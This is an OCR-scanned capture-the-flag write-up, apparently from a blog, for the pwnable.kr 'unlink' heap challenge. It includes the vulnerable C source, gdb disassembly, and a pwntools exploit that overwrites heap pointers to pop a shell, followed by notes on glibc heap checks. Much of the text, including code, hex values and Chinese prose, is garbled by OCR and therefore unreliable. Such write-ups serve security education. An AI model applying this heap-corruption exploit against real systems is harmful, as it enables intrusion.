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tmp# ssh unlink@pwnable.kr -p2222
unlink@pwnable.kr's password:
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Site admin : daehee87@gatech.edu

IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now

files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue "source /usr/share/peda/peda.py in gdb terminal
Last login: Sat Feb 8 23:02:25 2020 from 124.166.153.228
unlink@pwnable:~$% pwd
/home/unlink
unlink@pwnable:~% 1s
flag intended solution.txt wunlink wunlink.c
unlink@pwnable:~$ I https://blog.csdn.netfyalecaltech
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Lnlink@pwnable:~$ cat unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

truct tag0BJ{

ict tag0Blx fd;
ict tagO0BJ* bk;
buf[8];
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d shell(){
system("/bin/sh");

| unlink(0BJ* P){
0BJ* BK;

0BJx FD:
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;

main(int argc, charx argv/[]){
malloc(1024);

0BJx A = (0BJx)malloc(sizeof(0BJ));
0BJ*« B (0BJx)malloc(sizeof(0B1));
0BJx C = (0BJ*)malloc(sizeof(0BJ));

A->fd

B->bk =
B->fd =
C—>bk =

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf(“now that you have leaks, get shell!\n");

gets(A->buf);

unlink(B):
return 0:
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/tmp# scp -P 2222 unlink@pwnable.kr:/home/unlink/unlink /root/tmp

unlink@pwnable.kr's password:
unlink 100% 7540 2.7KB/s PO:02
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Dump of assembler code for function main:

0x0804852f <+0>: lea ecx, [esp+0x4]




0x08048533 <+4>: and esp,Oxfffffffo

0x08048536 <+7>: push DWORD PTR [ecx-0x4]

0x08048539 <+10>: push ebp

0x0804853a <+11>: mov ebp,esp

0x0804853¢c <+13>: push ecx

0x0804853d <+14>: sub esp,0x14

0x08048540 <+17>: sub esp,Bxc

0x08048543 <+20>: push  0@x400

0x0B048548 <+25>: call ©@xB@483a0® <malloc@plt>

0x0804854d <+30>: add esp,B8x10

0x08048550 <+33>: sub esp,@xc

0x08048553 <+36>: push  @x1@

0x08048555 <+38>: call ©@xB0483abd <malloc@plt>

0x0804855a <+43>: add esp,0x10

0x0804855d <+46>: mov DWORD PTR [ebp-0x14],eax

0x08048560 <+49>: sub esp,0xc

0xBB8048563 <+52>: push @x1e@

0x08048565 <+54>: call ©x80483a@ <malloc@plt>

0x0804856a <+59>: add esp,0x10

0x0804856d <+62>: mov DWORD PTR [ebp-@xc],eax

0x08048570 <+65>: sub esp,@xc

0x08048573 <+68>: push  @x1@

0x08048575 <+70>: call ©@xB@483a@d <malloc@plt>

0x0804857a <+75>: add esp,0x10

0x0804857d <+78>: mov DWORD PTR [ebp-0x10],eax

0x08048580 <+81>: mov eax,DWORD PTR [ebp-@x14]

0x08048583 <+84>: mov edx,DWORD PTR [ebp-8xc]

0x08048586 <+B7>: mov DWORD PTR [eax],edx

0x08048588 <+89>: mov edx,DWORD PTR [ebp-8x14]

0x0B04858b <+92>: mov eax,DWORD PTR [ebp-8xc]

0x0804858e <+95>: mov DWORD PTR [eax+@x4],edx

?x08048591 <+98>: mov eax,DWORD PTR [ebp-8xc]

PxB8048594 <+101>: mov edx,DWORD PTR [ebp-0x10]

Px08048597 <+104>: mov DWORD PTR [eax],edx

0xP8048599 <+1@6>: mov eax,DWORD PTR [ebp-0x10]

0x0804859c <+109>: mov edx,DWORD PTR [ebp-8xc]
——-Type <return> to continue, or q <return> to quit—— https://blog.csdn.net/yalecaltech

-—Type <return> to continue, or q <return> to quit—-
0x0804859f <+112>: mov DWORD PTR [eax+@x4],edx
0x080485a2 <+115>: sub esp,dx8
0x080485a5 <+118>: lea eax, [ebp-0x14]
0x080485aB <+121>: push eax
0x080485a9 <+122>: push @x8048698
0x@80485ae <+127>: call ©@x8048380 <printf@plt>
0x080485b3 <+132>: add esp,0x10
0x080485b6 <+135>: mov eax,DWORD PTR [ebp-0x14]
Ox080485b9 <+138>: sub esp,@x8
0x080485bc <+141>: push eax
Ox080485bd <+142>: push @x80486b8
Ox080485c2 <+147>: call 0x8048380 <printf@plt>
Px080485c7 <+152>: add esp,dx1e
0x080485ca <+155>: sub esp, @xc
0x080485cd <+158>: push 0x80486d8
Ox080485d2 <+163>: call ©x80483b@ <puts@plt>
0x080485d7 <+168>: add esp,dx10




- mov
0x080485dd <+174>: add eax,0x8

0x080485e0 <+177>: sub esp,dxc

0x080485e3 <+180>: push eax

0x080485e4 <+181>: call ©@x8048390 <gets@plt>
Ox080485e9 <+186>: add esp,0x1e

0x080485ec <+189>: sub esp,dxc

0x080485ef <+192>: push DWORD PTR [ebp-0xc]
Ox080485f2 <+195>: call ©x8048504 <unlink>

Ox080485f7 <+200>: add esp,0x1@
0x080485fa <+203>: mowv eax,0x@
Px080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
Ox08048602 <+211>: leave
0x08048603 <+212>: lea esp, [ecx—0x4]
Ox08048606 <+215>: ret

End of assembler dump.
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(gdb) disas shell

Dump of assembler code for function shell:
0x080484eb <+0=>: push %ebp
0x080484ec <+1=>: mov %esp,%ebp
0x080484ee <+3>: sub $0x8,%esp
0x080484f1 <+6>: sub $0xc,%esp
0x080484T4 <+9>: push $0x8048690

Ox080484T9 <+14>: call Ox80483cO <system@plt>
0x080484fe <+19>: add $0x10,%esp
0x08048501 <+22>: nop
0x08048502 <+23>: leave
OX08048503 <+24>: ret
End of assembler dump.
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here is stack address leak: @xff96la74
here is heap address leak: 0x81e3410
now that you have Lleaks, get shell!

2k, Bihiexp:

#coding=utf-8
from pwn import *

context(arch="'amd64',0s='1linux', log_level="DEBUG")




. ,password=
io=shell. run("./unlink")

shell_addr=0x080484EB

re=io.recvline()
stack_addr=int(re.split(":")[1],16)
re=io.recvline()
heap_addr=int(re.split(":")[1],16)
io.recvline()

payload = p32(shell_addr)#(A->buf(0~3))

payload +="a"*(0x4+0x8)#(A—>buf(4~7)+padding(0x08))
payload += p32(heap_addr+0x8+0x4)#(B—>fd)

payload += p32(stack_addr+@x14-0x4)#(B—>bk)

io.send(payload)
io.interactive()

https://blog.csdn.net/yalecaltech
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:~/tmp# scp -P2222 unlink.py unlink@pwnable.kr:/tmp/unlink.py
unlink@pwnable.kr's password:
unlink.py 100% 783 2.5KB/s 00:00

HATE Elshell

usr/local/lib/python2.7/dist-packages/paramiko/kex ecdh nist.py:39: Cryptograph
[+] Connecting to pwnable.kr on port 2222: Done
[+] Connecting to pwnable.kr on port 2222: Done
[+] Connecting to pwnable.kr on port 2222: Done
usr/local/lib/python2.7/dist-packages/paramiko/kex ecdh nist.py:39: Cryptograph
DeprecationWarning: encode point has been deprecated on EllipticCurvePublicNumb
ers and will be removed in a future version. Please use EllipticCurvePublicKey.p
iblic bytes to obtain both compressed and uncompressed point encoding.
m.add string(self.Q C.public numbers().encode point())
usr/local/lib/python2.7/dist-packages/paramiko/kex ecdh nist.py:96: Cryptograph
DeprecationWarning: Support for unsafe construction of public numbers from enco
led data will be removed in a future version. Please use EllipticCurvePublicKey.
from encoded point
self.curve, Q S bytes
usr/local/lib/python2.7/dist-packages/paramiko/kex ecdh nist.py:111: Cryptograp
wDeprecationWarning: encode point has been deprecated on EllipticCurvePublicNum
vers and will be removed in a future version. Please use EllipticCurvePublicKey.
ublic bytes to obtain both compressed and uncompressed point encoding.
hm.add string(self.Q C.public numbers().encode point())
[!] Couldn't check security settings on 'pwnable.kr'
[+] Opening new channel: 'stty raw -ctlecho -echo; cd . >/dev/null 2>&1;./unlink
Done
| ] Received 0x70 bytes:
'here is stack address leak: 0xff892804\n'
'here is heap address leak: 0x9f4b410\n'
'now that you have leaks, get shell!\n'
] Sent 0x18 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61
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[*] Switching to interactive mode

Jlog.csdn.netfyalecaltech




ERERRA, AERunlink® AR B ZRTAT, RERgIbcE LM T R 2 H R 15 i

fFE:

Double Freef il

ZHLHIA RFBIR— B L4 FreetREMichunk. Fk, X ¥ second chunk¥isizet B -4 B %, BREIKE Zsizel
PREV_INUSEf N0, iR tisecond chunkZ B ffirst chunk(EA11 7 Efreefichunk) & 4 FreeRZS, HB-A X B & Hfree(first)
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#lc

if (__glibc_unlikely (!prev_inuse(nextchunk)))
{

errstr = "double free or corruption (!prev)";
goto errout;

next size3EiEHE
ZHLE R Minext size & B AESE| X RTarenafI BN RAE N R/ I8 . B IS0 Bnext size N-4HIEHE, i< Hinvalid next
sizetfiR. HRARBIT:

#!c
nextsize = chunksize(nextchunk);
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, @)
|| __builtin_expect (nextsize >= av->system_mem, 0)){
errstr = "free(): invalid next size (normal)";
goto errout;
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#lc
if (__builtin_expect (FD->bk != P || BK->fd != P, @)) \
malloc_printerr (check_action, "corrupted double-linked list", P);
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